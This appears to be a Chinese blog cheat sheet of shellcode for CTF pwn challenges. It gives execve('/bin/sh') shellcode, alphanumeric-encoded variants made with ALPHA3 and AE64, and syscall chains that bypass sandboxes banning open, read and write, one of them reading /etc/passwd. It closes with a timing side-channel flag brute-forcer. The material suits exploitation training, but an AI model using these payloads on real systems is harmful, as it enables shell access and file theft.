CTF中pwn shellcode题目

CTF中pwn shellcode题目

下面是一些shellcode代码和绕过技巧。

一些只给payload或者exp一把梭

基础

基础shellcode
shellcode = asm(shellcraft.sh())
生成指定函数

用法:

shellcode = shellcraft.function(arg1, arc2...)

示例:

shellcode = shellcraft.open('./flag')
32位 纯ascii字符shellcode
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA
64位 纯ascii字符shellcode
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
Alpha3

(例题:ctfshow pwn 65)

限制只能使用字母或者数字
alpha3使用:
alpha3需要python2环境,所以先安装python2

from pwn import *
context.arch='amd64'
sc = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x31\xc0\xb0\x3b\x99\x0f\x05"
with open("./sc.bin",'wb') as f:
    f.write(sc)
     
python2 ALPHA3.py x64 ascii mixedcase rdx --input="sc.bin" > out.bin 

因为 call rdx ,所以 base 是 rdx,得到

可以选择架构、编码、限制的字符

AE64

AE64可以直接在python中导入,使用相对较为方便且限制较少

from ae64 import AE64
from pwn import *
context.arch='amd64'

# get bytes format shellcode
shellcode = asm(shellcraft.sh())

# get alphanumeric shellcode
enc_shellcode = AE64().encode(shellcode)
print(enc_shellcode.decode('latin-1'))
最短shellcode

64位:

xor 	rsi, rsi
push	rsi	
mov 	rdi, 0x68732f2f6e69622f
push	rdi
push	rsp		
pop	    rdi			
mov 	al,	59	
cdq				
syscall
// int
0x622fbf4856f63148
0x545768732f2f6e69
0x050f993bb05f

// bytes
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05

32位:

getshell - 21字节

# (execve("/bin/sh",NULL,NULL))
shellcode = asm("""
    push 0x68732f
    push 0x6e69622f
    mov ebx,esp
    xor ecx,ecx
    xor edx,edx
    push 11
    pop eax
    int 0x80
""")

ORW

open(fopen、creat、openat、openat2、fopen64、open64、freopen)

#openat2系统调用在 Linux 内核版本 5.6 中引入 内核版本太低用不上
shellcode=asm(shellcraft.openat2(-100,flag_addr,flag_addr+0x20,0x18))

read(pread、readv、preadv、preadv2、splice、sendfile、mmap)

write(pwrite、send、writev)

1.只ban了 open函数

攻击方式 利用openat 函数

1.系统调用号是257

2.int openat(int dirfd, const char *pathname, int flags);只需要构造openat(0, ‘/flag\x00’)

push 0x67616c66				//flag			
    mov rsi,rsp
    xor rdx,rdx
    mov rdi,0xffffff9c			//这个位置rdi要设置为0xfffff9c,原理不写了
    push 257
    pop rax
    syscall
    mov rdi,rax
    mov rsi,rsp
    mov edx,0x100
    xor eax,eax
    syscall
    mov edi,1
    mov rsi,rsp
    push 1
    pop rax
    syscall

或者

sh = shellcraft.openat(-100,"/flag",0)

2.没有R和W

利用sendfile来打,sendfile兼备read和write的效果

来看看它的C代码

ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);

sendfile是一个用于在文件描述符之间高效传输数据的系统调用,它在两个文件描述符之间传输数据而不需要在用户空间进行数据缓冲,从而提高性能

out_fd表示的是目标文件描述符。数据将被写入到这个文件描述符,一般来是stdout(做堆的师傅们应该常见这玩意),用于输出到屏幕,可以粗略理解为write的fd

in_fd是源文件描述符,数据将从这个文件描述符读取,可以粗略理解为read的fd为3的情况

offset不必多言,就是从文件内容offset字节处开始读取

count也不必多言,n_bytes

sh = shellcraft.openat(-100,"/flag",0)+shellcraft.sendfile(1,3,0,0x100)
sl(asm(sh))

或者可以用下面的经过AE64处理过的

from pwn import *
from ae64 import AE64

context(log_level='debug',arch='amd64', os='linux')
sh = shellcraft.openat(-100,"/etc/passwd",0)
sh += shellcraft.sendfile(1,3,0,0x50)
payload = AE64().encode(asm(sh),"rdx")

3.禁用open/read/write绕过

绕过方式:利用其他函数替代open/read/write,如下

openat + mmap + sendfile

shellcode = shellcraft.openat(0,'/flag',0)
shellcode += shellcraft.mmap(0x10000,0x100,1,1,'eax',0)
shellcode += shellcraft.sendfile(1,3,0,0x100)
shellcode = asm(shellcode)

openat + preadv2 + writev

shellcode = asm('''
        /* openat(fd=-0x64, file='flag', oflag=0) */
        add rax, 0x62
        mov r12, rax
        mov rsi, rax
        mov rdi, -0x64
        /* 调用openat*/
        mov rax, 0x101 /* 0x101 */
        syscall
        
        /* preadv2(vararg_0=3, vararg_1=0x1337090, vararg_2=1, vararg_3=0, vararg_4=0) */
        mov rdi, 3
        mov rdx, 0x1
        add r12, 0x15
        mov rsi, r12
        /* 调用preadv2*/
        mov rax, 327
        syscall
        
        /* writev(fd=1, iovec=0x1337090, count=1) */
        mov rdi, 1
        mov rdx, 0x1
        /* 调用writev*/
        mov rax, 0x14
        syscall
''')

4 禁用输出绕过

绕过方式:使用侧信道逐位爆破,当爆破字符和flag对应字符一致时进入死循环,通过接收回显的时间间隔判断爆破是否正确

from pwn import *
import string

# 这里的pwn只是为了演示流程,具体逻辑还得看题目
def pwn(p, index, ch):
    code = "push 0x67616c66; mov rdi, rsp; mov rsi, 0x0; mov rax, 0x2; syscall;"  # open
    code += "mov rdi, 0x3; mov rsi, rsp; mov rdx, 0x30; mov rax, 0x0; syscall;"   # read
    code += "cmp byte ptr[rsi+{}], {}; jz loop;".format(index, ch)                # cmp
    code += "xor edi, edi; mov rax, 60; syscall; loop: jmp loop;"                 # 等则进入死循环,否则exit(0)
    code = b"\\\\x90"*20+asm(code)  # 前面加了\\\\x90滑板

    p.send(code)

def main():
    flag = ""
    flag_str = string.printable
    for offset in range(0x30):
        index = 0
        while True:
            p = process("./babystack")
            try:
                ch = flag_str[index]
                print(">>>>>>>>>>> test ch {}".format(ch))
                pwn(p, offset, ord(flag_str[index]))
                p.recv(timeout=1)
                flag += ch
                print(">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> find flag: ", flag)
                p.close()
                index += 1
                break
            except Exception as e:
                # 捕获p.recv产生的错误
                print("="*10)
                print(e)
                print("="*10)
                try:
                    p.close()
                    index += 1
                except Exception as e:
                    # 捕获p.close产生的错误
                    print("="*10)
                    print(e)
                    print("="*10)
                    continue
        if flag[-1] == "}":
            # 判断flag是否已经结束
            break

main()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

saulgoodman-q

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值